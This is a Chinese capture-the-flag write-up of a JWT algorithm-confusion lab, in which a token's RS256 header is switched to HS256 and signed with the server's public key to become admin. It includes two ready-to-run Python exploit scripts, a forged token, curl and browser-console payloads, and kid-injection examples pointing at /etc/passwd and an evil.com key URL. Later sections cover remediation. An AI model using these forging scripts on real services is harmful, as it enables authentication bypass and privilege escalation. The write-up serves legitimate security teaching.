好靶场-jwt算法混淆-WP
关注泷羽Sec和泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具
学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:
🔗 入口:http://www.loveli.com.cn/see_bug_one?id=419
✅ 邀请码:48ffd1d7eba24bf4
🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇
前置知识
-
JWT (JSON Web Token) 基础
- JWT 的三部分结构:Header.Payload.Signature
- 常见签名算法:RS256(非对称)、HS256(对称)
- Base64 URL 编码与解码
-
密码学基础
- 非对称加密:RSA 公钥/私钥对
- 对称加密:HMAC-SHA256
- 数字签名验证流程
-
HTTP 协议
- Cookie 机制
- HTTP 请求/响应头
- 会话管理
-
Web 安全基础
- 认证与授权
- 权限提升攻击
- API 安全
靶场考点/漏洞原理
核心漏洞:JWT 算法混淆攻击(Algorithm Confusion)
漏洞原理:
JWT 使用不同的算法进行签名验证:
- RS256(RSA + SHA256):非对称算法,使用私钥签名,公钥验证
- HS256(HMAC + SHA256):对称算法,使用同一密钥签名和验证
当后端代码没有严格校验算法类型时,攻击者可以:
- 将 Header 中的
alg从RS256改为HS256 - 使用公钥作为 HMAC 的密钥进行签名
- 服务器错误地使用公钥验证 HS256 签名,导致验证通过
伪代码示例(易受攻击的实现):
# 错误的实现
def verify_jwt(token):
header = decode_header(token)
algorithm = header['alg'] # 从 token 中读取算法
if algorithm == 'RS256':
verify_with_public_key(token) # 使用公钥验证
elif algorithm == 'HS256':
verify_with_hmac(token, public_key) # 错误!用公钥当 HMAC 密钥正确的实现应该:
# 安全的实现
def verify_jwt(token):
expected_algorithm = 'RS256' # 强制指定算法
header = decode_header(token)
if header['alg'] != expected_algorithm:
raise SecurityError("Algorithm mismatch")
verify_with_public_key(token)本题的关键难点
难点 1:时间戳问题
问题表现:
- 生成的恶意 JWT 使用了过期或不一致的时间戳
- 服务器验证
iat(issued at)和exp(expiration)时拒绝请求
解决方案:
- 必须先登录获取有效的原始 token
- 从原始 token 中提取
iat和exp - 在构造恶意 JWT 时使用相同的时间戳
错误示例:
# 错误:使用当前时间戳
malicious_payload = {
"username": "user",
"role": "admin",
"iat": int(time.time()), # ❌ 新时间戳
"exp": int(time.time()) + 86400
}正确示例:
# 正确:复用原始 token 的时间戳
original_payload = decode_jwt(original_token)
malicious_payload = {
"username": "user",
"role": "admin",
"iat": original_payload['iat'], # ✅ 复用原始时间戳
"exp": original_payload['exp']
}难点 2:公钥格式问题
问题表现:
- 使用正确的算法和时间戳,但生成的签名与预期不符
- 服务器仍然返回 302 重定向到
/login
根本原因:
HMAC 签名对输入极其敏感,公钥字符串中的任何差异(包括换行符、空格)都会导致完全不同的签名。
测试验证:
# 公钥 A(8 个换行符)
key_a = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----""" # 长度 450 字符
# 公钥 B(9 个换行符)
key_b = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----""" # 长度 451 字符
# 即使内容相同,签名完全不同!
hmac.new(key_a.encode(), message, sha256).hexdigest()
# 输出: 0f3c6eb2e84e14ed8bd5388232720edf...
hmac.new(key_b.encode(), message, sha256).hexdigest()
# 输出: a9f9868398a7eb2bb0d5a1ec6f5e37de... # ❌ 完全不同解决方案:
# 标准化公钥格式
def normalize_pem(pem_string):
lines = pem_string.strip().split('\n')
return '\n'.join(lines) # 确保每行之间只有一个换行符
# 从 JWKS 转换时要保证格式一致
pem_str = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
).decode('utf-8')
# 标准化
normalized_pem = normalize_pem(pem_str)为什么 Burp Suite 的 JWT Editor 可以成功?
Burp Suite JWT Editor 工具的优势:
-
自动处理公钥格式
- 工具内部统一了公钥的存储和使用格式
- 不会因为换行符、编码问题导致签名失败
-
可视化操作
- 直接修改 JWT 的 Header 和 Payload
- 自动重新签名,无需手动处理 Base64 编码
-
内置算法混淆攻击
- 提供 “Sign with symmetric key” 功能
- 直接将 PEM 公钥转换为 HS256 密钥使用
-
避免时间戳问题
- 可以直接在当前有效的 token 上修改
- 保留原始的
iat和exp
手工攻击常见失败原因总结:
| 错误类型 | 表现 | 原因 | 解决方法 |
|---|---|---|---|
| 时间戳过期 | 302 重定向到 /login | 使用了新的时间戳而非原始 token 的时间戳 | 先登录获取有效 token,提取时间戳 |
| 公钥格式不一致 | 302 重定向到 /login | 换行符数量不同导致签名完全不同 | 标准化公钥格式(去除多余换行) |
| 算法未修改 | 依然显示 user | Header 中 alg 仍为 RS256 | 确保修改为 HS256 |
| Payload 未修改 | 依然显示 user | role 字段未改为 admin | 确保 role: “admin” |
调试技巧:
# 对比两个 JWT 的差异
def debug_jwt(jwt1, jwt2):
parts1 = jwt1.split('.')
parts2 = jwt2.split('.')
print(f"Header 相同: {parts1[0] == parts2[0]}")
print(f"Payload 相同: {parts1[1] == parts2[1]}")
print(f"Signature 相同: {parts1[2] == parts2[2]}")
if parts1[0] == parts2[0] and parts1[1] == parts2[1]:
print("签名不同 → 密钥格式问题!")这两个难点是本题的核心挑战,也是为什么很多人即使理解了算法混淆原理,仍然无法成功利用的原因。
解题思路

打开靶场就看到非常贴心的提示了登录用户名和密码

登录成功,仔细一看用户身份才是user就知道没有这么简单。

jwt就是找token,把token改成admin或者高权限的用户就可以。

复制token的值丢AI解析一下加密方式
// Header
{
"alg": "RS256",
"kid": "jwt-demo-key",
"typ": "JWT"
}
// Payload
{
"username": "user",
"role": "user",
"email": "user@example.com",
"exp": 1766196705,
"iat": 1766110305
}关键信息:
- 算法: RS256 (RSA 非对称加密)
- 当前角色: user
- 目标: 修改为 admin
直接F12控制台一把梭上去,哎,怎么不对?后来发现是时间戳问题,我因为做这个题的时候刚打开电脑,有点懒不想打开BP,想着一个区区JWT题,算一下加密解密的就行。然后因为前后抓包的时间戳不同就是改不了user为admin。虽然看了其他WP大佬们都用BP一顿操作就成功了,但是我懒。 BP抓包不会遇到这个问题因为BP现抓现改。
让AI给我 搓了一个半自动脚本
"""
手工辅助版:提供登录后的 token,自动完成攻击
"""
import base64
import json
import hmac
import hashlib
# ============= 手动配置 =============
# 步骤1: 登录后,从响应的 Set-Cookie 中复制 token
ORIGINAL_TOKEN = "eyJhbGciOiJSUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImVtYWlsIjoidXNlckBleGFtcGxlLmNvbSIsImV4cCI6MTc2NjE5OTI2NywiaWF0IjoxNzY2MTEyODY3fQ.FdzxFO9aMjhruABYTJ3OqBjYVgeMycDSGswFKkHN4KDFbP_fQjJcBMpHOQnWj5A3mPtyQRqYHemqUPQnWzXjvIdQygpWeA5z-ycIA40pCtRLLlcJ6xm2COXg1wfzNN0E-Yy2v8Q_PogIHFXxEuxMa4-ttiiKDSpwIlX06Lh58U5GqUW-6hUjIH9YrN10MBbh013eSooWLWvmvlqB25ZCNYMc9uGFnbq9kynpIrejbVRckYQaOxwU5pbzwedIJUFjbjrteWsCyGSkdSdbB89KiI_gtKuQHAJPqHLRNETXl1TVoI3oiojwEjk4CML3lay8oo5_e4SpfI6gHDTKXi3tmg"
# 步骤2: 访问 /jwks.json 获取公钥,粘贴到这里
PUBLIC_KEY_PEM = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAry7fD9dmGaehXB8hQRbv
HzEySHYLw/E42O73Z//kod3J6OXOH2xOaaTHpUHnueF3jsy5XdK4+37J32fRlY+K
bn2pJKeo2utj6Se984+R9XD8P+/ESmH+NRX60ZFVr38gjYO/H9FvtXM3dyEK1Evg
40V6GmqT1fM2Q4GPPuQ9L1yt4j3vr2FM1MirOLODEOd3llY9QL0q2eOkkbvniKrM
wwV9iEy9sPP5fnfCwJM+w8lir9MB06DquA/a+VanH2Ml9Yn9TjrVrNU5GEBgCrPe
U10HbceGJBQ53TJZTbjPHU5aFe77RP5mY5gWqR1RHSvPIgP8FvTVTyBeB3ZNpGG3
EwIDAQAB
-----END PUBLIC KEY-----"""
TARGET_URL = "http://n68vwbq.haobachang.loveli.com.cn:8888"
# ============= 自动处理 =============
def b64url_encode(data):
if isinstance(data, dict):
data = json.dumps(data, separators=(',', ':')).encode()
encoded = base64.urlsafe_b64encode(data).decode()
return encoded.rstrip('=')
def b64url_decode(data):
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
return base64.urlsafe_b64decode(data)
# 从原始 token 提取时间戳
payload_b64 = ORIGINAL_TOKEN.split('.')[1]
payload = json.loads(b64url_decode(payload_b64))
print("=" * 70)
print("原始 Token Payload:")
print(json.dumps(payload, indent=2))
print("=" * 70)
# 构造恶意 JWT
header = {
"alg": "HS256",
"kid": "jwt-demo-key",
"typ": "JWT"
}
malicious_payload = {
"username": "user",
"role": "admin", # 修改为 admin
"email": "user@example.com",
"iat": payload['iat'],
"exp": payload['exp']
}
# 编码和签名
header_b64 = b64url_encode(header)
payload_b64 = b64url_encode(malicious_payload)
message = f"{header_b64}.{payload_b64}".encode()
signature = hmac.new(PUBLIC_KEY_PEM.encode(), message, hashlib.sha256).digest()
signature_b64 = b64url_encode(signature)
malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
print("\n" + "=" * 70)
print("恶意 JWT:")
print("=" * 70)
print(malicious_jwt)
print("\n" + "=" * 70)
print("一键 Curl 命令:")
print("=" * 70)
print(f'curl -v -H "Cookie: token={malicious_jwt}" {TARGET_URL}/profile')
print("\n" + "=" * 70)
print("Burp Suite 操作:")
print("=" * 70)
print("1. 拦截 GET /profile 请求")
print("2. 在 Cookie 中将 token 替换为上面的恶意 JWT")
print("3. Forward 请求")
print("=" * 70)需要BP抓包login的登录,然后再把login登陆后返回的token值放脚本里面计算,然后替换到profile的重放包里面,或者用curl命令一键获取,前提是和burp抓包的login的token值一样,并且需要先login,保证时间戳。
最终还是打开了BP,偷懒失败

还是懒,不想用BP的话就用curl构造一个
curl -i -X POST "http://n68vwbq.haobachang.loveli.com.cn:8888/login" -H "Content-Type: application/json" -H "User-Agent: Mozilla/5.0" -d '{"data":"aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"}'
只要看到success的标志就是对的,然后手动复制token到上面的代码里面的token里面,/jwks.json 获取公钥后面就不用动了,公钥不会变。
或者打开F12复制登录后的token值到上面这个半自动脚本计算,然后再在控制台里面输入如下内容

document.cookie="token=eyJhbGciOiJIUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4iLCJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJpYXQiOjE3NjYxMTI3OTEsImV4cCI6MTc2NjE5OTE5MX0.HolA-DkeY4T8zBuJ-V8Yoz8LiJ4D472Di-9rNhIF8W4;path=/";location.reload();我还是不能放弃一键梭哈的诱惑,然后让AI帮我写了个全自动脚本,不过只适合于这一题,因为profile之类的路径是写死的。
"""
JWT 算法混淆攻击工具 (RS256 -> HS256)
支持自动模式和手动模式
"""
import base64
import json
import hmac
import hashlib
import requests
import sys
import argparse
import re
TARGET_URL = "http://n68vwbq.haobachang.loveli.com.cn:8888"
# ============= 工具函数 =============
def print_banner():
print("\n" + "=" * 80)
print("JWT 算法混淆攻击工具 (RS256 -> HS256)")
print("=" * 80 + "\n")
def b64url_encode(data):
if isinstance(data, dict):
data = json.dumps(data, separators=(',', ':')).encode()
elif isinstance(data, str):
data = data.encode()
encoded = base64.urlsafe_b64encode(data).decode()
return encoded.rstrip('=')
def b64url_decode(data):
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
return base64.urlsafe_b64decode(data)
# ============= 公钥获取 =============
def get_public_key_from_jwks(url):
"""获取公钥并修正换行符格式"""
print(f"[*] 正在获取公钥: {url}/jwks.json")
try:
response = requests.get(f"{url}/jwks.json", timeout=10)
response.raise_for_status()
jwks = response.json()
print(f"[+] 成功获取 JWKS\n")
try:
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
first_key = jwks['keys'][0]
n = int.from_bytes(b64url_decode(first_key['n']), 'big')
e = int.from_bytes(b64url_decode(first_key['e']), 'big')
public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend())
pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
pem_str = pem.decode('utf-8')
# 标准化换行符格式
lines = pem_str.strip().split('\n')
normalized_pem = '\n'.join(lines)
print(f"[+] 公钥转换成功")
print("-" * 80)
print(normalized_pem)
print("-" * 80)
print()
return normalized_pem
except ImportError:
print("[!] 需要安装: pip install cryptography")
sys.exit(1)
except Exception as e:
print(f"[!] 获取公钥失败: {e}")
sys.exit(1)
# ============= 登录和 Token 获取 =============
def auto_login(url):
"""自动登录并获取 token"""
print(f"[*] 正在自动登录: {url}/login")
login_data = {
"data": "aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"
}
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0"
}
try:
response = requests.post(
f"{url}/login",
json=login_data,
headers=headers,
timeout=10
)
print(f"[*] 响应状态码: {response.status_code}")
# 从 Set-Cookie 中提取 token
token = None
if 'Set-Cookie' in response.headers:
set_cookie = response.headers['Set-Cookie']
match = re.search(r'token=([^;]+)', set_cookie)
if match:
token = match.group(1)
if not token:
print(f"[!] 未能从响应中提取 token")
print(f"[!] 响应头: {response.headers}")
print(f"[!] 响应体: {response.text}")
return None, None
print(f"[+] 成功获取 token\n")
# 解码 payload
try:
payload_b64 = token.split('.')[1]
payload = json.loads(b64url_decode(payload_b64))
print(f"[*] Token Payload:")
print(json.dumps(payload, indent=2))
print()
return token, payload
except Exception as e:
print(f"[!] Token 解码失败: {e}")
return None, None
except Exception as e:
print(f"[!] 登录失败: {e}")
return None, None
def manual_get_token(url):
"""手动模式:引导用户输入 token"""
print(f"[*] 使用以下命令登录:\n")
curl_cmd = f'curl -i -X POST "{url}/login" -H "Content-Type: application/json" -H "User-Agent: Mozilla/5.0" -d \'{{"data":"aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA"}}\''
print(curl_cmd)
print("-" * 80)
print("\n请粘贴从响应中获取的 token:\n")
token = input("Token: ").strip()
if not token:
print("[!] Token 不能为空")
sys.exit(1)
# 清理 token
if 'token=' in token:
token = token.split('token=')[1].split(';')[0].strip()
if token.count('.') != 2:
print(f"[!] Token 格式错误")
sys.exit(1)
try:
payload_b64 = token.split('.')[1]
payload = json.loads(b64url_decode(payload_b64))
print(f"\n[+] Token 解码成功")
print(f"[*] 原始 Payload:")
print(json.dumps(payload, indent=2))
print()
return token, payload
except Exception as e:
print(f"[!] Token 解码失败: {e}")
sys.exit(1)
# ============= JWT 生成 =============
def create_malicious_jwt(public_key_pem, original_payload):
"""生成恶意 JWT"""
header = {
"alg": "HS256",
"kid": "jwt-demo-key",
"typ": "JWT"
}
malicious_payload = {
"username": "user",
"role": "admin",
"email": "user@example.com",
"iat": original_payload['iat'],
"exp": original_payload['exp']
}
print(f"[*] 原始 role: {original_payload.get('role')}")
print(f"[*] 修改后 role: admin")
print(f"[*] 时间戳: iat={malicious_payload['iat']}, exp={malicious_payload['exp']}\n")
# 编码
header_b64 = b64url_encode(header)
payload_b64 = b64url_encode(malicious_payload)
message = f"{header_b64}.{payload_b64}".encode()
# 签名
signature = hmac.new(public_key_pem.encode(), message, hashlib.sha256).digest()
signature_b64 = b64url_encode(signature)
malicious_jwt = f"{header_b64}.{payload_b64}.{signature_b64}"
print(f"[+] 恶意 JWT 生成成功!\n")
return malicious_jwt
# ============= 测试和攻击 =============
def test_jwt(url, jwt_token):
"""测试恶意 JWT"""
print(f"[*] 测试恶意 JWT...")
print("-" * 80)
try:
response = requests.get(
f"{url}/profile",
cookies={'token': jwt_token},
timeout=10,
allow_redirects=False
)
print(f"[*] 响应状态码: {response.status_code}\n")
if response.status_code == 200:
print(f"[SUCCESS] ✓ 请求成功!\n")
if 'admin' in response.text.lower():
print(f"[SUCCESS] ✓ 身份已提升为 admin!\n")
if 'flag' in response.text.lower():
print(f"[SUCCESS] ✓ 找到 flag!\n")
import re
flags = re.findall(r'flag\{[^}]+\}', response.text, re.IGNORECASE)
if flags:
print("=" * 80)
print(f"🚩 FLAG: {flags[0]}")
print("=" * 80 + "\n")
return True
else:
print(f"[*] 完整响应:\n{response.text}\n")
else:
print(f"[*] 响应片段:\n{response.text[:500]}\n")
return True
elif response.status_code == 302:
print(f"[FAILED] ✗ 重定向到: {response.headers.get('Location')}")
print(f"[FAILED] ✗ JWT 验证失败\n")
return False
else:
print(f"[?] 未知响应: {response.status_code}")
print(f"{response.text[:300]}\n")
return False
except Exception as e:
print(f"[!] 请求失败: {e}\n")
return False
def print_usage_info(malicious_jwt, url):
"""打印使用信息"""
print("=" * 80)
print("生成的恶意 JWT:")
print("=" * 80)
print(malicious_jwt)
print()
print("=" * 80)
print("Curl 命令:")
print("=" * 80)
print(f'curl -v -H "Cookie: token={malicious_jwt}" {url}/profile')
print()
print("=" * 80)
print("Burp Suite 操作:")
print("=" * 80)
print("1. 拦截 GET /profile 请求")
print("2. 替换 Cookie 中的 token")
print("3. Forward 请求")
print()
print("=" * 80)
print("浏览器 Console:")
print("=" * 80)
print(f'document.cookie="token={malicious_jwt};path=/";location.reload();')
print("=" * 80 + "\n")
# ============= 主函数 =============
def auto_mode(url):
"""自动模式"""
print("\n" + "=" * 80)
print("自动模式")
print("=" * 80 + "\n")
# 步骤1: 获取公钥
print("[步骤 1/4] 获取公钥")
print("-" * 80)
public_key_pem = get_public_key_from_jwks(url)
# 步骤2: 自动登录
print("[步骤 2/4] 自动登录")
print("-" * 80)
original_token, original_payload = auto_login(url)
if not original_token:
print("[!] 自动登录失败,请使用手动模式")
sys.exit(1)
# 步骤3: 生成恶意 JWT
print("[步骤 3/4] 生成恶意 JWT")
print("-" * 80)
malicious_jwt = create_malicious_jwt(public_key_pem, original_payload)
# 步骤4: 测试
print("[步骤 4/4] 测试攻击")
print("-" * 80)
success = test_jwt(url, malicious_jwt)
# 输出使用信息
print_usage_info(malicious_jwt, url)
if success:
print("[SUCCESS] ✓ 自动攻击成功!")
else:
print("[提示] 攻击未成功,请检查:")
print(" 1. Token 是否过期")
print(" 2. 使用 Burp Suite 手动验证")
def manual_mode(url):
"""手动模式"""
print("\n" + "=" * 80)
print("手动模式")
print("=" * 80 + "\n")
# 步骤1: 获取公钥
print("[步骤 1/4] 获取公钥")
print("-" * 80)
public_key_pem = get_public_key_from_jwks(url)
# 步骤2: 手动输入 token
print("[步骤 2/4] 获取有效 Token")
print("-" * 80)
original_token, original_payload = manual_get_token(url)
# 步骤3: 生成恶意 JWT
print("[步骤 3/4] 生成恶意 JWT")
print("-" * 80)
malicious_jwt = create_malicious_jwt(public_key_pem, original_payload)
# 步骤4: 测试
print("[步骤 4/4] 测试攻击")
print("-" * 80)
success = test_jwt(url, malicious_jwt)
# 输出使用信息
print_usage_info(malicious_jwt, url)
if success:
print("[SUCCESS] ✓ 攻击成功!")
else:
print("[提示] 如果失败,请:")
print(" 1. 确认 token 未过期(重新登录)")
print(" 2. 使用 Burp Suite 手动验证")
def main():
parser = argparse.ArgumentParser(
description='JWT 算法混淆攻击工具 (RS256 -> HS256)',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog='''
使用示例:
自动模式: python3 %(prog)s --auto
手动模式: python3 %(prog)s --manual
指定 URL: python3 %(prog)s --auto --url http://target.com:8888
'''
)
parser.add_argument(
'--auto',
action='store_true',
help='自动模式(自动登录获取 token)'
)
parser.add_argument(
'--manual',
action='store_true',
help='手动模式(手动输入 token)'
)
parser.add_argument(
'--url',
type=str,
default=TARGET_URL,
help=f'目标 URL(默认: {TARGET_URL})'
)
args = parser.parse_args()
# 如果没有指定模式,显示帮助
if not args.auto and not args.manual:
parser.print_help()
print("\n[!] 请指定模式: --auto 或 --manual")
sys.exit(1)
# 如果同时指定两个模式,报错
if args.auto and args.manual:
print("[!] 错误: 不能同时使用 --auto 和 --manual")
sys.exit(1)
print_banner()
try:
if args.auto:
auto_mode(args.url)
else:
manual_mode(args.url)
except KeyboardInterrupt:
print("\n\n[!] 用户中断")
sys.exit(0)
except Exception as e:
print(f"\n[!] 错误: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
if __name__ == "__main__":
main()
漏洞修复/规避方法
一、漏洞本质理解
银行取款比喻(算法混淆攻击)
正常情况(RS256 —— 安全)
你去银行取钱
↓
【登录验证】
柜台:请签名(用你的私钥 = 你独特的签名技巧)
你:[签名]
柜台:核对笔迹... ✅ 是本人!
↓
【签发凭证】
行长用【私钥】在取款凭证(JWT)上签名
凭证内容:
- 姓名:张三
- 权限:普通用户(role: user)
- 行长签名:[只有行长才能签]
↓
【验证取款】
保安验证凭证:
- 用墙上的"行长签名样本"(公钥)验证
- ✅ 确实是行长签的!放行!算法混淆攻击(Algorithm Confusion)
黑客去银行
↓
【黑客也正常登录】
拿到一个真凭证(权限:普通用户)
↓
【回家篡改凭证】
黑客操作:
1. 把 role 改成 admin
2. 从墙上拿到“行长签名样本”(公钥,公开)
3. 用这个公钥作为“印章材料”
4. 在凭证上写明:alg = HS256
↓
【漏洞触发】
保安(有漏洞):
- “哦?你说用 HS256?”
- “那我也用 HS256 算一下,哎一样,sir this way”
- 用公钥作为 HMAC 密钥重新计算签名
- 对比结果:✅ 一模一样本质一句话总结:
黑客用“公钥”当成“对称密钥”签名 服务端居然也照做了,真是傻的可爱
⚠️ 核心问题澄清
- ❌ 不是公钥泄露(公钥本来就该公开)
- ❌ 不是 RS256 被破解
- ❌ 不是 HS256 不安全
👉 真正的问题是:
服务端信任了客户端声明的算法(alg)
二、关键防御原则
1️⃣ 服务端必须强制指定算法(最重要)
永远不要信任 JWT Header 中的
alg字段
❌ 错误示例(真实 CVE 场景)
def verify_jwt_vulnerable(token):
header = decode_header(token)
algorithm = header['alg'] # ❌ 攻击者可控
if algorithm == 'RS256':
return verify_with_rsa(token, PUBLIC_KEY)
elif algorithm == 'HS256':
# ❌ 致命错误:公钥被当作 HMAC 密钥
return verify_with_hmac(token, PUBLIC_KEY)攻击流程:
攻击者:
alg = HS256
signature = HMAC(message, PUBLIC_KEY)
服务端:
expected = HMAC(message, PUBLIC_KEY)
signature == expected → ✅ 验证通过✅ 正确示例(安全)
def verify_jwt_secure(token):
EXPECTED_ALG = 'RS256'
header = decode_header(token)
if header.get('alg') != EXPECTED_ALG:
raise SecurityError("Algorithm mismatch")
return verify_with_rsa(token, PUBLIC_KEY)⚠️ 工程级建议:
更推荐 完全不自行解析 Header,而是交给成熟 JWT 库一次性完成校验
2️⃣ 算法白名单,而不是黑名单
jwt.decode(
token,
public_key,
algorithms=['RS256'] # 白名单
)⚠️ 重要修正说明:
-
HS256 本身不是不安全算法
-
但:
- 如果系统使用 RS256 / ES256
- 必须明确禁用 HS256
-
❌ 禁止在同一系统中混用对称 + 非对称算法
Never mix symmetric and asymmetric JWT algorithms in the same trust boundary
3️⃣ 明确禁用 none 算法
FORBIDDEN_ALGORITHMS = ['none']现代库通常已默认禁用,但不要依赖“默认安全”。
三、完整的安全 JWT 验证流程
def secure_jwt_verify(token, public_key):
try:
payload = jwt.decode(
token,
public_key,
algorithms=['RS256'],
audience='your-app-id',
issuer='your-trusted-issuer.com'
)
# 授权约束校验(不是防篡改)
if payload.get('role') not in ['user', 'admin', 'guest']:
raise SecurityError("Invalid role")
return payload
except jwt.ExpiredSignatureError:
raise SecurityError("Token expired")
except jwt.InvalidTokenError:
raise SecurityError("JWT validation failed")⚠️ 说明修正:
- JWT 一旦验证通过,payload 即不可被篡改
- role 校验属于 授权逻辑(Authorization)
四、其他非常关键的攻击点
🔥 1. kid Header 注入攻击
危险示例:
{
"alg": "RS256",
"kid": "../../../../../etc/passwd"
}或:
"kid": "http://evil.com/key.pem"防御原则:
-
kid只能:- 映射到服务端预定义 key-id
-
❌ 禁止:
- 文件路径
- URL
- 动态数据库查询
结论:
kid是仅次于alg的第二高危 Header 字段
🔥 2. JWT ≠ Session
- JWT 不适合:
- 长期高权限
- 敏感操作
- 建议:
- 短期 JWT
- 二次校验
- 服务端状态控制
五、日志与监控
⚠️ 不要误判攻击类型:
except jwt.InvalidTokenError:
logging.warning(
"JWT validation failed with unexpected algorithm or signature",
extra={"header": safe_decode_header(token)}
)👉 实战中不一定能精确区分算法混淆
六、代码审计检查清单
- 是否显式指定算法白名单?
- 是否禁止混用对称 / 非对称 JWT?
- 是否禁用
none? - 是否限制
kid来源? - 是否避免自行解析 Header?
- 是否将授权逻辑与 JWT 校验分离?
- 是否使用最新 JWT 库?
七、最终总结
JWT 算法混淆攻击的本质,并不是密码学失败,而是信任边界设计错误。
不可妥协的三条原则:
- 算法必须由服务端决定
- 密钥来源必须完全受控
- JWT 只做身份,不做最终授权
一句话总结: JWT 的安全问题,99% 来自工程实现,而不是算法本身。
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚